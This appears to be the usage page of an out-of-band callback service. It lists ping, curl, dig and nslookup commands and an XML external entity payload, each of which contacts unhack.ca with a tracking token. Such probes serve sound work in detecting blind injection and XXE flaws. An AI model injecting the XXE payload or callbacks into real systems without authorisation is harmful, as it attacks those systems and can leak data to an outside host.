$ ping -c1 -p 00c522200979423da9a923ad64d61900 unhack.ca
 

$ curl http://unhack.ca/p/c522200979423da9a923ad64d619
 

$ dig c522200979423da9a923ad64d619 @unhack.ca
 

$ dig c522200979423da9a923ad64d619.ns.unhack.ca
 

C:\> nslookup c522200979423da9a923ad64d619 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c522200979423da9a923ad64d619">]>
    <foo>&xxe;</foo>